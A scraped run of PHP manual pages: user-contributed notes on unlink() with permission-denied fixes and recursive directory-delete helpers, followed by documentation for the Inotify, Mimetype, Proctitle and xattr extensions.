a note to the windows unlink problem. I had some code running on a linux server, unlinking files fine, but when i switched to my home computer running on windows, i suddenly had the unlink - permission denied problem. After trying everything (all those things with ownership, etc.), i found out that my file (a temporary file created with tempnam) was not closed, therefore it couldn't be unlinked. I hope this helps someone outthere :)
lpatrick 25-Oct-2010 02:08
unlink can fail after using ODBC commands on the file (on Windows).

Neither <?php odbc_free_result($result); ?> nor <?php odbc_close($conn); unset($conn); ?> did the trick.

Only <?php odbc_close_all(); ?> released the file such that it could be deleted afterwards ...
zibi at nora dot pl 24-Sep-2010 07:01
Shorter'n'faster version of Eddys "The shortest recursive delete possible"

function rrmdir($path)
{
  return is_file($path)?
    @unlink($path):
    array_map('rrmdir',glob($path.'/*'))==@rmdir($path)
  ;
}
layla_mwazza at hotmail dot com 12-Jul-2010 10:02
May sound dumb, but it may help. Permission denied? Is the file still open in your script? Was for me...
mateusz at bkfmyjnie dot pl 06-May-2010 01:08
If you're using PHP >= 5.0, consider using RecursiveDirectoryIterator (http://php.net/manual/en/class.recursivedirectoryiterator.php) class to iterate over all directories and files in a subtree in order to remove them.
Just be sure to use ->isDot() (http://php.net/manual/en/directoryiterator.isdir.php) to check for, and skip, dot and dot-dot (`.' and `..') directories :P
Eddy Vlad 23-Nov-2009 08:59
The shortest recursive delete possible.

<?php
    /**
     * Delete a file or recursively delete a directory
     *
     * @param string $str Path to file or directory
     */
    function recursiveDelete($str){
        if(is_file($str)){
            return @unlink($str);
        }
        elseif(is_dir($str)){
            $scan = glob(rtrim($str,'/').'/*');
            foreach($scan as $index=>$path){
                recursiveDelete($path);
            }
            return @rmdir($str);
        }
    }
?>
reminder 12-Jun-2009 02:24
careful with unlink...
"very unlikely" is not "impossible" : granted, it will happen.

1) "expected" : a typo and you'll get : unlink('/')
2) "very likely" : some of your files are writeable by anyone.
3) "possible" : you're backup drive is mounted and preserves the authorizations of the original files
4) "very unlikely" : that particular day, at that particular moment, the unlink function decided to work recursively

played all day long with ext3grep : no result.
Jon Hassall 16-Nov-2008 10:36
Here is the recursive delete method made a little more readable:

<?php
/**
 * Recursively delete a directory
 *
 * @param string $dir Directory name
 * @param boolean $deleteRootToo Delete specified top-level directory as well
 */
function unlinkRecursive($dir, $deleteRootToo)
{
    if(!$dh = @opendir($dir))
    {
        return;
    }
    while (false !== ($obj = readdir($dh)))
    {
        if($obj == '.' || $obj == '..')
        {
            continue;
        }

        if (!@unlink($dir . '/' . $obj))
        {
            unlinkRecursive($dir.'/'.$obj, true);
        }
    }

    closedir($dh);

    if ($deleteRootToo)
    {
        @rmdir($dir);
    }

    return;
}
?>
Anonymous 01-Nov-2008 06:13
To unlink, the web server user must have write permissions to the directory.

Conversely, if a user has write permissions to a directory, it may delete files from that directory regardless of who owns them...
hi at hi dot hi 11-Oct-2008 08:19
using this function with windows will generate an error, make sure to use is_file
garagod at gmail dot com 06-Oct-2008 10:36
When I'm using unlink() or rename() with a SSH2.SFTP wrapper, both functions always return FALSE (but without a warning) even on success.

Example:

<?php
$connection = ssh2_connect(SERVER_NAME, PORT);
ssh2_auth_password($connection, USERNAME, PASSWORD);
$sftp = ssh2_sftp($connection);

unlink("ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . FILENAME); // returns FALSE on success and on failure

rename("ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . OLD_FILENAME, "ssh2.sftp://$sftp/" . REMOTE_DIRECTORY . NEW_FILENAME); // returns FALSE on success and on failure
?>
http://www.paladinux.net 01-Oct-2008 08:59
Under Windows System and Apache, denied access to file is an usual error to unlink file.
To delete file you must to change file's owern.
An example:

<?php
chown($TempDirectory."/".$FileName,666); //Insert an Invalid UserId to set to Nobody Owern; 666 is my standard for "Nobody"
unlink($TempDirectory."/".$FileName);
?>
gotdalife at gmail dot com 25-Sep-2008 07:04
To anyone who's had a problem with the permissions denied error, it's sometimes caused when you try to delete a file that's in a folder higher in the hierarchy to your working directory (i.e. when trying to delete a path that starts with "../").

So to work around this problem, you can use chdir() to change the working directory to the folder where the file you want to unlink is located.

<?php
    $old = getcwd(); // Save the current directory
    chdir($path_to_file);
    unlink($filename);
    chdir($old); // Restore the old working directory
?>
southsentry at yahoo dot com 31-Aug-2008 10:23
This is in response to alvaro at demogracia dot com

Yes, I found that out and have had to wrap it with is_file:

<?php
if(is_file("$file")) {
unlink("$file");
}
?>
PD 06-Aug-2008 05:07
I have been working on some little tryout where a backup file was created before modifying the main textfile. Then when an error is thrown, the main file will be deleted (unlinked) and the backup file is returned instead.

Though, I have been breaking my head for about an hour on why I couldn't get my persmissions right to unlink the main file.

Finally I knew what was wrong: because I was working on the file and hadn't yet closed the file, it was still in use and ofcourse couldn't be deleted :)

So I thought of mentoining this here, to avoid others of making the same mistake:

<?php
// First close the file
fclose($fp);

// Then unlink :)
unlink($somefile);
?>
Guilherme Komel 29-Dec-2007 04:14
I have founda that trying to delete a file using relative path like the example below does not work.

<?php
    $do = unlink("../pics/$fileToDel");
    if($do=="1"){
        echo "The file was deleted successfully.";
    } else { echo "There was an error trying to delete the file."; }
?>

I did not work at all, instead what I had to do was:

<?php
    chdir('../pics/');
    $do = unlink($fileToDel);
    if($do=="1"){
        echo "The file was deleted successfully.";
    } else { echo "There was an error trying to delete the file."; }
?>

Then it worked !
ayor ATTTTT ayor.biz 20-Dec-2007 06:02
ggarciaa's post above has already one small error, closedir has to be used even if $DeleteMe is false

<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
//
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone

function SureRemoveDir($dir, $DeleteMe) {
    if(!$dh = @opendir($dir)) return;
    while (false !== ($obj = readdir($dh))) {
        if($obj=='.' || $obj=='..') continue;
        if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
    }

    closedir($dh);
    if ($DeleteMe){
        @rmdir($dir);
    }
}

//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);

?>
james at NOSPAM dot telserco dot com 29-Sep-2007 07:10
Cheap and dirty example for cleaning a directory of files so many seconds old.

        function cleantmp() {
                $seconds_old = 3600;
                $directory = "/var/tmp";

                if( !$dirhandle = @opendir($directory) )
                        return;

                while( false !== ($filename = readdir($dirhandle)) ) {
                        if( $filename != "." && $filename != ".." ) {
                                $filename = $directory. "/". $filename;

                                if( @filemtime($filename) < (time()-$seconds_old) )
                                        @unlink($filename);
                        }
                }
        }
rahulnvaidya at gmail dot com 03-Aug-2007 02:36
ggarciaa's post above has one small error, it will ignore file and directory strings that are evaluated as false (ie. "0")

Fixed code is below (false !==)

<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
//
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone

function SureRemoveDir($dir, $DeleteMe) {
    if(!$dh = @opendir($dir)) return;
    while (false !== ($obj = readdir($dh))) {
        if($obj=='.' || $obj=='..') continue;
        if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
    }
    if ($DeleteMe){
        closedir($dh);
        @rmdir($dir);
    }
}

//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);

?>
ggarciaa at gmail dot com 03-Jul-2007 11:00
<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
//
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone

function SureRemoveDir($dir, $DeleteMe) {
    if(!$dh = @opendir($dir)) return;
    while (($obj = readdir($dh))) {
        if($obj=='.' || $obj=='..') continue;
        if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
    }
    if ($DeleteMe){
        closedir($dh);
        @rmdir($dir);
    }
}

//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);

?>
torch at torchsdomain dot com 22-Nov-2006 12:27
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
bmcouto at hotmail dot com 30-Sep-2006 01:30
<?php
$myFile = "testFile.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
fclose($fh);
?>

Now to delete testFile.txt we simply run a PHP script that is located in the same directory. Unlink just needs to know the name of the file to start working its destructive magic.

<?php
$myFile = "testFile.txt";
unlink($myFile);
?>

The testFile.txt should now be removed.
paul at pes-systems dot net 16-Aug-2006 10:27
A work around for the Permission Denied problem.

I used ftp_connect() then ftp_delete() to erase files which unlink could not erase due to permision problems
bishop 05-Jun-2005 12:30
<?php
/**
 * rm() -- Vigorously erase files and directories.
 *
 * @param $fileglob mixed If string, must be a file name (foo.txt), glob pattern (*.txt), or directory name.
 *                        If array, must be an array of file names, glob patterns, or directories.
 */
function rm($fileglob)
{
    if (is_string($fileglob)) {
        if (is_file($fileglob)) {
            return unlink($fileglob);
        } else if (is_dir($fileglob)) {
            $ok = rm("$fileglob/*");
            if (! $ok) {
                return false;
            }
            return rmdir($fileglob);
        } else {
            $matching = glob($fileglob);
            if ($matching === false) {
                trigger_error(sprintf('No files match supplied glob %s', $fileglob), E_USER_WARNING);
                return false;
            }
            $rcs = array_map('rm', $matching);
            if (in_array(false, $rcs)) {
                return false;
            }
        }
    } else if (is_array($fileglob)) {
        $rcs = array_map('rm', $fileglob);
        if (in_array(false, $rcs)) {
            return false;
        }
    } else {
        trigger_error('Param #1 must be filename or glob pattern, or array of filenames or glob patterns', E_USER_ERROR);
        return false;
    }

    return true;
}
?>
jchase at solidmark dot com 20-May-2005 10:05
[Editor's note: A suggestion for a work-around was submitted by argistof at gmail dot com: You can use the recursive option (see man chmod) when chmodding, for instance 'chmod 777 directory/ -R'. Be aware though, this will change the permissions of all files and folders in the diectory.]

Just a note which you probably all know, but I didn't, and it might save another poor sap some unnecessary time:

I was doing unlink() and fopen() on a file and got a permission denied error, even after chmoding the file to 0777.

The folder that contains the file must ALSO have write permission.  Took a headache to find this out.

Hope this helps someone :)
ashley at semantic dot org 02-Apr-2005 02:50
Actually you should use "@unlink" rather than testing with file_exists. The former is atomic, whereas the latter can break if you can't guarantee only one process will try to delete a given file at a time.
dagski_AT_gmail_DOT_com 06-Feb-2005 10:19
before you could unlink a file created which uses a handle e.g.,

$handle = sqlite('temp.db');

unset($handle); first befofe
unlink($handle);

to avoide permission denied error.
chris at vibenewmedia dot com 14-Sep-2004 10:54
To delete all files of a particular extension, or infact, delete all with wildcard, a much simplar way is to use the glob function.  Say I wanted to delete all jpgs .........

<?php

foreach (glob("*.jpg") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
   unlink($filename);
}

?>
pc AT newagelab DOT com DOT ua 08-Sep-2004 08:22
To delete files using wildcards:

<?
function delfile($str)
{
    foreach(glob($str) as $fn) {
        unlink($fn);
    }
}
?>
umask
Inotify
Filesystem Functions


Inotify

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installing/Configuring
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Inotify Functions
    • inotify_add_watch — Add a watch to an initialized inotify instance
    • inotify_init — Initialize an inotify instance
    • inotify_queue_len — Return a number upper than zero if there are pending events
    • inotify_read — Read events from an inotify instance
    • inotify_rm_watch — Remove an existing watch from an inotify instance

User Contributed Notes

There are no user contributed notes for this page.
unlink
Introduction
File System Related Extensions


Introduction

The inotify extension exposes the inotify functions inotify_init(), inotify_add_watch() and inotify_rm_watch().

As the C inotify_init() function returns a file descriptor, PHP's inotify_init() returns a stream resource, usable with standard stream functions, like stream_select(), stream_set_blocking() and fclose(). inotify_read() replaces the C way of reading inotify events.

User Contributed Notes

There are no user contributed notes for this page.
Inotify
Installing/Configuring
Inotify


Installing/Configuring

Table of Contents

  • Requirements
  • Installing/Configuring
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Inotify


Requirements

This extension requires Linux 2.6.13 or newer, and a recent libC.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installing/Configuring
Installing/Configuring


Installing/Configuring
PHP Manual

Installing/Configuring

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/inotify.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring
PHP Manual


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Resource Types
Installing/Configuring


Resource Types

This extension defines a stream resource returned by inotify_init().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Inotify constants usable with inotify_add_watch() and/or returned by inotify_read()
IN_ACCESS (integer)
File was accessed (read) (*)
IN_MODIFY (integer)
File was modified (*)
IN_ATTRIB (integer)
Metadata changed (e.g. permissions, mtime, etc.) (*)
IN_CLOSE_WRITE (integer)
File opened for writing was closed (*)
IN_CLOSE_NOWRITE (integer)
File not opened for writing was closed (*)
IN_OPEN (integer)
File was opened (*)
IN_MOVED_TO (integer)
File moved into watched directory (*)
IN_MOVED_FROM (integer)
File moved out of watched directory (*)
IN_CREATE (integer)
File or directory created in watched directory (*)
IN_DELETE (integer)
File or directory deleted in watched directory (*)
IN_DELETE_SELF (integer)
Watched file or directory was deleted
IN_MOVE_SELF (integer)
Watch file or directory was moved
IN_CLOSE (integer)
Equals to IN_CLOSE_WRITE | IN_CLOSE_NOWRITE
IN_MOVE (integer)
Equals to IN_MOVED_FROM | IN_MOVED_TO
IN_ALL_EVENTS (integer)
Bitmask of all the above constants
IN_UNMOUNT (integer)
File system containing watched object was unmounted
IN_Q_OVERFLOW (integer)
Event queue overflowed (wd is -1 for this event)
IN_IGNORED (integer)
Watch was removed (explicitly by inotify_rm_watch() or because file was removed or filesystem unmounted
IN_ISDIR (integer)
Subject of this event is a directory
IN_ONLYDIR (integer)
Only watch pathname if it is a directory (Since Linux 2.6.15)
IN_DONT_FOLLOW (integer)
Do not dereference pathname if it is a symlink (Since Linux 2.6.15)
IN_MASK_ADD (integer)
Add events to watch mask for this pathname if it already exists (instead of replacing mask).
IN_ONESHOT (integer)
Monitor pathname for one event, then remove from watch list.

Note: The events marked with an asterisk (*) above can occur for files in watched directories.

User Contributed Notes

crownedgrouse 13-Mar-2009 02:11
Be carefull using IN_MODIFY :

Lot of UNIX editor, for instance like 'vi', work in a 'xxx~' file, and changes are written in 'xxx' when saving or saving and closing.

If a watcher is done on 'xxx', no IN_MODIFY event occurs while not saved !

Prefere IN_CLOSE_WRITE in such case .
Resource Types
Inotify Functions
Inotify


Inotify Functions

Table of Contents

  • inotify_add_watch — Add a watch to an initialized inotify instance
  • inotify_init — Initialize an inotify instance
  • inotify_queue_len — Return a number upper than zero if there are pending events
  • inotify_read — Read events from an inotify instance
  • inotify_rm_watch — Remove an existing watch from an inotify instance

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
inotify_add_watch
Inotify


Add a watch to an initialized inotify instance

Inotify Functions
inotify_init
Inotify Functions
PHP Manual

inotify_add_watch

(PECL inotify >= 0.1.2)

inotify_add_watch — Add a watch to an initialized inotify instance

Description

int inotify_add_watch ( resource $inotify_instance , string $pathname , int $mask )

inotify_add_watch() adds a new watch or modify an existing watch for the file or directory specified in pathname.

Using inotify_add_watch() on a watched object replaces the existing watch. Using the IN_MASK_ADD constant adds (OR) events to the existing watch.

Parameters

inotify_instance

Resource returned by inotify_init()

pathname

File or directory to watch

mask

Events to watch for. See Predefined Constants.

Return Values

The return value is a unique (inotify instance wide) watch descriptor.

See Also

  • inotify_init() - Initialize an inotify instance

User Contributed Notes

There are no user contributed notes for this page.
Inotify Functions
inotify_init
Inotify Functions


Initialize an inotify instance

inotify_add_watch
inotify_queue_len
Inotify Functions
PHP Manual

inotify_init

(PECL inotify >= 0.1.2)

inotify_init — Initialize an inotify instance

Description

resource inotify_init ( void )

Initialize an inotify instance for use with inotify_add_watch()

Return Values

A stream resource or FALSE on error.

Examples

Example #1 Example usage of inotify

<?php
// Open an inotify instance
$fd = inotify_init();

// Watch __FILE__ for metadata changes (e.g. mtime)
$watch_descriptor = inotify_add_watch($fd, __FILE__, IN_ATTRIB);

// generate an event
touch(__FILE__);

// Read events
$events = inotify_read($fd);
print_r($events);

// The following methods allows to use inotify functions without blocking on inotify_read():

// - Using stream_select() on $fd:
$read = array($fd);
$write = null;
$except = null;
stream_select($read,$write,$except,0);

// - Using stream_set_blocking() on $fd
stream_set_blocking($fd, 0);
inotify_read($fd); // Does no block, and return false if no events are pending

// - Using inotify_queue_len() to check if event queue is not empty
$queue_len = inotify_queue_len($fd); // If > 0, inotify_read() will not block

// Stop watching __FILE__ for metadata changes
inotify_rm_watch($fd, $watch_descriptor);

// Close the inotify instance
// This may have closed all watches if this was not already done
fclose($fd);

?>

The above example will output something similar to:

array(
  array(
    'wd' => 1,     // Equals $watch_descriptor
    'mask' => 4,   // IN_ATTRIB bit is set
    'cookie' => 0, // unique id to connect related events (e.g.
                   // IN_MOVE_FROM and IN_MOVE_TO events)
    'name' => '',  // the name of a file (e.g. if we monitored changes
                   // in a directory)
  ),
);

See Also

  • inotify_add_watch() - Add a watch to an initialized inotify instance
  • inotify_rm_watch() - Remove an existing watch from an inotify instance
  • inotify_queue_len() - Return a number upper than zero if there are pending events
  • inotify_read() - Read events from an inotify instance
  • fclose() - Closes an open file pointer

User Contributed Notes

david dot schueler at tel-billig dot de 25-Nov-2010 08:42
Example for tailing a file (like tail -f) using inotify.
<?php
/**
 * Tail a file (UNIX only!)
 * Watch a file for changes using inotify and return the changed data
 *
 * @param string $file - filename of the file to be watched
 * @param integer $pos - actual position in the file
 * @return string
 */
function tail($file,&$pos) {
    // get the size of the file
    if(!$pos) $pos = filesize($file);
    // Open an inotify instance
    $fd = inotify_init();
    // Watch $file for changes.
    $watch_descriptor = inotify_add_watch($fd, $file, IN_ALL_EVENTS);
    // Loop forever (breaks are below)
    while (true) {
        // Read events (inotify_read is blocking!)
        $events = inotify_read($fd);
        // Loop though the events which occured
        foreach ($events as $event=>$evdetails) {
            // React on the event type
            switch (true) {
                // File was modified
                case ($evdetails['mask'] & IN_MODIFY):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // open the file
                    $fp = fopen($file,'r');
                    if (!$fp) return false;
                    // seek to the last EOF position
                    fseek($fp,$pos);
                    // read until EOF
                    while (!feof($fp)) {
                        $buf .= fread($fp,8192);
                    }
                    // save the new EOF to $pos
                    $pos = ftell($fp); // (remember: $pos is called by reference)
                    // close the file pointer
                    fclose($fp);
                    // return the new data and leave the function
                    return $buf;
                    // be a nice guy and program good code ;-)
                    break;

                    // File was moved or deleted
                case ($evdetails['mask'] & IN_MOVE):
                case ($evdetails['mask'] & IN_MOVE_SELF):
                case ($evdetails['mask'] & IN_DELETE):
                case ($evdetails['mask'] & IN_DELETE_SELF):
                    // Stop watching $file for changes
                    inotify_rm_watch($fd, $watch_descriptor);
                    // Close the inotify instance
                    fclose($fd);
                    // Return a failure
                    return false;
                    break;
            }
        }
    }
}

// Use it like that:
$lastpos = 0;
while (true) {
    echo tail($file,$lastpos);
}
?>
inotify_add_watch
inotify_queue_len
Inotify Functions


Return a number upper than zero if there are pending events

inotify_init
inotify_read
Inotify Functions
PHP Manual

inotify_queue_len

(PECL inotify >= 0.1.2)

inotify_queue_len — Return a number upper than zero if there are pending events

Description

int inotify_queue_len ( resource $inotify_instance )

This function allows to know if inotify_read() will block or not. If a number upper than zero is returned, there are pending events and inotify_read() will not block.

Parameters

inotify_instance

Resource returned by inotify_init()

Return Values

Returns a number upper than zero if there are pending events.

See Also

  • inotify_init() - Initialize an inotify instance
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream

User Contributed Notes

There are no user contributed notes for this page.
inotify_init
inotify_read
Inotify Functions


Read events from an inotify instance

inotify_queue_len
inotify_rm_watch
Inotify Functions
PHP Manual

inotify_read

(PECL inotify >= 0.1.2)

inotify_read — Read events from an inotify instance

Description

array inotify_read ( resource $inotify_instance )

Read inotify events from an inotify instance.

Parameters

inotify_instance

Resource returned by inotify_init()

Return Values

An array of inotify events or FALSE if no events was pending and inotify_instance is non-blocking. Each event is an array with the following keys:

  • wd is a watch descriptor returned by inotify_add_watch()
  • mask is a bit mask of events
  • cookie is a unique id to connect related events (e.g. IN_MOVE_FROM and IN_MOVE_TO)
  • name is the name of a file (e.g. if a file was modified in a watched directory)

See Also

  • inotify_init() - Initialize an inotify instance
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • inotify_queue_len() - Return a number upper than zero if there are pending events

User Contributed Notes

There are no user contributed notes for this page.
inotify_queue_len
inotify_rm_watch
Inotify Functions


Remove an existing watch from an inotify instance

inotify_read
Mimetype
Inotify Functions
PHP Manual

inotify_rm_watch

(PECL inotify >= 0.1.2)

inotify_rm_watch — Remove an existing watch from an inotify instance

Description

bool inotify_rm_watch ( resource $inotify_instance , int $watch_descriptor )

inotify_rm_watch() removes the watch watch_descriptor from the inotify instance inotify_instance.

Parameters

inotify_instance

Resource returned by inotify_init()

watch_descriptor

Watch to remove from the instance

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • inotify_init() - Initialize an inotify instance

User Contributed Notes

There are no user contributed notes for this page.
inotify_read
Mimetype
Inotify Functions


Mimetype

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants

User Contributed Notes

There are no user contributed notes for this page.
inotify_rm_watch
Introduction
File System Related Extensions


Introduction

Warning

This extension has been deprecated as the PECL extension Fileinfo provides the same functionality (and more) in a much cleaner way.

The functions in this module try to guess the content type and encoding of a file by looking for certain magic byte sequences at specific positions within the file. While this is not a bullet proof approach the heuristics used do a very good job.

This extension is derived from Apache mod_mime_magic, which is itself based on the file command maintained by Ian F. Darwin. See the source code for further historic and copyright information.

User Contributed Notes

There are no user contributed notes for this page.
Mimetype
Installing/Configuring
Mimetype


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Mimetype


Installation

Warning

Mimetype extensions has been removed from PHP 5.3.0 in favor of Fileinfo.

You must compile PHP with the configure switch --with-mime-magic to get support for mime-type functions. The extension needs a copy of the simplified magic file that is distributed with the Apache httpd.

Note:

The configure option has been changed from --enable-mime-magic to --with-mime-magic since PHP 4.3.2

Note:

This extension is not capable of handling the fully decorated magic file that generally comes with standard Linux distro's and is supposed to be used with recent versions of file command.

Note: Note to Win32 Users

In order to use this module on a Windows environment, you must set the path to the bundled magic.mime file in your php.ini.

Example #1 Setting the path to magic.mime

mime_magic.magicfile = "$PHP_INSTALL_DIR\magic.mime"

Remember to substitute the $PHP_INSTALL_DIR for your actual path to PHP in the above example. e.g. c:\php

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mimetype configuration options
Name | Default | Changeable | Changelog
mime_magic.debug | "0" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
mime_magic.magicfile | "/path/to/php/magic.mime" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mime_magic.debug bool

Enable/disable debugging.

mime_magic.magicfile string

The path to the magic.mime file.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Proctitle
Mimetype


Proctitle

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Proctitle Functions
    • setproctitle — Set the process title
    • setthreadtitle — Set the thread title

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Introduction
File System Related Extensions


Introduction

This extension allows changing the current process', and thread, name on Linux and *BSD systems. This is useful when using pcntl_fork() to identify running processes in process list

User Contributed Notes

There are no user contributed notes for this page.
Proctitle
Installing/Configuring
Proctitle


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Proctitle


Requirements

Nothing special.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/proctitle.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Proctitle Functions
Proctitle


Proctitle Functions

Table of Contents

  • setproctitle — Set the process title
  • setthreadtitle — Set the thread title

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
setproctitle
Proctitle


Set the process title

Proctitle Functions
setthreadtitle
Proctitle Functions
PHP Manual

setproctitle

(PECL proctitle >= 0.1.0)

setproctitle — Set the process title

Description

void setproctitle ( string $title )

Sets the process title of the current process.

Parameters

title

The title to use as the process title.

Return Values

No value is returned.

Examples

Example #1 setproctitle() example

Running the example below will change the process title (visible with ps a for example).

<?php
setproctitle("myscript");
?>

The above example will output something similar to:

$ ps a
  PID TTY      STAT   TIME COMMAND
 1168 pts/3    S      0:00 myscript

See Also

  • pcntl_fork() - Forks the currently running process
  • setthreadtitle() - Set the thread title

User Contributed Notes

There are no user contributed notes for this page.
Proctitle Functions
setthreadtitle
Proctitle Functions


Set the thread title

setproctitle
xattr
Proctitle Functions
PHP Manual

setthreadtitle

(PECL proctitle >= 0.1.2)

setthreadtitle — Set the thread title

Description

bool setthreadtitle ( string $title )

Sets the thread title.

Parameters

title

The title to use as the thread title.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 setthreadtitle() example

Running the example below will change the thread title (visible with ps c for example).

<?php
setthreadtitle("myscript");
?>

The above example will output something similar to:

$ ps c
  PID TTY      STAT   TIME COMMAND
 1178 pts/3    S      0:00 myscript

See Also

  • pcntl_fork() - Forks the currently running process
  • setproctitle() - Set the process title

User Contributed Notes

There are no user contributed notes for this page.
setproctitle
xattr
Proctitle Functions


xattr

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • xattr Functions
    • xattr_get — Get an extended attribute
    • xattr_list — Get a list of extended attributes
    • xattr_remove — Remove an extended attribute
    • xattr_set — Set an extended attribute
    • xattr_supported — Check if filesystem supports extended attributes

User Contributed Notes

There are no user contributed notes for this page.
setthreadtitle
Introduction
File System Related Extensions


Introduction

The xattr extension allows for the manipulation of extended attributes on a filesystem.

User Contributed Notes

There are no user contributed notes for this page.
xattr
Installing/Configuring
xattr


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
xattr


Requirements

To use xattr, you will need libattr installed. It is available at » http://oss.sgi.com/projects/xfs/.

Note:

These functions only work on filesystems that support extended attributes, and have them enabled at mount time. Some common filesystems that support extended attributes are ext2, ext3, reiserfs, jfs, and xfs.

User Contributed Notes

sven _ oostenbrink atserver yahoo dot co 07-Aug-2009 06:29
An important thing to realize, if you wish to use xattr, you need a filesystem that has extended attributes functionalty and also has those enabled! I lost quite a bit of time with puzzling why xattr was not working with my ext4 system, until I found that the extended attributes, by default, are not enabled.

Adding user_xattr to the mounting configuration of the filesystem where I was working fixed the problem

/dev/sdb2    /home               ext4    relatime,user_xattr        0       2
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/xattr.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

XATTR_ROOT (integer)
Set attribute in root (trusted) namespace. Requires root privileges.
XATTR_DONTFOLLOW (integer)
Do not follow the symbolic link but operate on symbolic link itself.
XATTR_CREATE (integer)
Function will fail if extended attribute already exists.
XATTR_REPLACE (integer)
Function will fail if extended attribute doesn't exist.

User Contributed Notes

There are no user contributed notes for this page.
